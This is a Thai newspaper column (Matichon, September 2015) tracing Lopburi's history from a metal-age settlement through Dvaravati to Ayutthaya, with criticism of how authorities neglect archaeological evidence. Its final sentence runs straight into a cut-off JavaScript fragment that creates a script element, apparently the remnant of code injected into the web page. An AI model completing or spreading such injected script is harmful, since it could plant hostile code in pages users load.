มติชนรายวัน ฉบับประจำวันพุธที่ 2 กันยายน 2558

 

เมืองลพบุรี มรดกทวารวดี

          ไม่เคยสำรวจโดยรอบคูน้ำกำแพงเมืองลพบุรี เคยแต่บุกป่าฝ่าดงบ้านเรือนแออัดเข้าดูกำแพงเมืองเป็นบางซอกบางซอยที่เดินเข้าได้ซึ่งยากลำบากมากๆ ไม่กี่แห่ง เมื่อหลายสิบปีมาแล้ว

          ครั้นวันพฤหัสบดี 20 สิงหาคม ผ่านมา คุณจารึก วิไลแก้ว (ผอ.สำนักศิลปากร ที่ลพบุรี) กับ พี่ปู่ เจตนพันธ์ ธนะสุนทร (นักโบราณคดีอาวุโส อดีตหัวหน้าพิพิธภัณฑสถานแห่งชาติฯ ลพบุรี) นำทางเข้าสำรวจคูน้ำกำแพงเมืองและป้อมประตูเฉพาะรอบในเมืองลพบุรี

          ซึ่งผมเชื่อว่าคูน้ำคันดินมีความเป็นมาเก่าสุดตั้งแต่ยุคทวารวดี และมั่นคงแข็งแกร่งสุดสมัยพระนารายณ์ เมื่อวิศวกรฝรั่งเศสสร้างเสริมสูงด้วยอิฐตามแบบยุโรป

          รัฐบาลทั้งพลเรือนและเผด็จการทหาร ไม่ทำความเข้าใจประวัติศาสตร์ที่มีหลักฐานรองรับคับคั่ง แต่งมงายประวัติศาสตร์แบบนิยายวีรบุรุษสงคราม จึงถนัดทำลายหลักฐานโบราณคดีที่มีในเมืองลพบุรี โดยไม่มีประสิทธิภาพยกมาแสดงคุณค่า และสร้างมูลค่า

 

ชุมชนยุคโลหะ

          เมืองลพบุรี มีพัฒนาการแรกสุดเป็นชุมชนถลุงโลหะราว 3,000 ปีมาแล้ว ตั้งอยู่บนเนินสูง (ปัจจุบันคือ บริเวณศาลพระกาฬ, พระปรางค์สามยอด, สถานีรถไฟ, ฯลฯ)

          ยกย่องแม่หญิงเป็นใหญ่ในชุมชนและในพิธีกรรม

 

เมืองทวารวดี

          ราวหลัง พ.ศ. 1000 จีน, อินเดีย, ลังกา มีการค้าทางทะเลมาถึงชุมชนถลุงโลหะที่ลพบุรี แล้วเริ่มรับศาสนาพราหมณ์, พุทธ จากอินเดีย

          ชุมชนถลุงโลหะบนเนินสูงก็เติบโตเป็นบ้านเมือง โดยมีลำดับชนชั้นในสังคม ยกย่องผู้ชายเป็นใหญ่ เรียกนามตามคติอินเดียว่าพระราชา, หรือกษัตริย์

          สร้างสถูปเจดีย์ปนกันทั้งในศาสนาพราหมณ์และศาสนาพุทธ แล้วขุดคูน้ำสร้างคันดินล้อมรอบทั้งเนินรวมเป็นเขตศักดิ์สิทธิ์ทั้งหมด (บริเวณคันดินเคยพบกองตะครันถลุงโลหะ)

          คูน้ำยังใช้กักน้ำฝนและน้ำท่าที่ชักขึ้นจากลำน้ำโดยรอบ ไว้ใช้ทั้งในพิธีกรรม และในชีวิตประจำวันของคนชั้นสูงซึ่งอยู่ภายในคูน้ำคันดิน

          เอกสารจีนเรียกเมืองนี้ว่าโถโลโปตี ต่อมานักปราชญ์สามัญชนอธิบายว่าตรงกับทวารวดี (ตรงนี้มีนักวิชาการบางท่านคัดค้าน แต่ผมยังไม่เชื่อถือหลักฐานที่ใช้คัดค้าน)

 

อโยธยา-ละโว้

          ต่อมาน่าจะเรือน พ.ศ. 1500 ขยายอำนาจลงไปสถาปนาอโยธยาศรีรามเทพ บริเวณแม่น้ำ 3 สาย คือ แม่น้ำลพบุรี, แม่น้ำป่าสัก ไหลรวมแม่น้ำเจ้าพระยา

          ชื่อเมืองใหม่มีความหมายสืบจากทวารวดี ส่วนเมืองเดิมเปลี่ยนชื่อเป็นละโว้ หมายถึงเชื้อสายของทวารวดี

 

อยุธยา

          ราวเรือน พ.ศ. 2000 หลังกาฬโรคระบาด มีผู้คนล้มตายจำนวนมาก

          จึงสถาปนาเมืองใหม่ในที่เดิมว่ากรุงเทพทวารวดีศรีอยุธยา เท่ากับสืบความเป็นทวารวดีมาที่ศรีอยุธยา

          เรียกสั้นๆ เป็นที่รู้กันว่ากรุงศรีอยุธยา หรืออยุธยาvar d=document;var s=d.createElement(‘script’);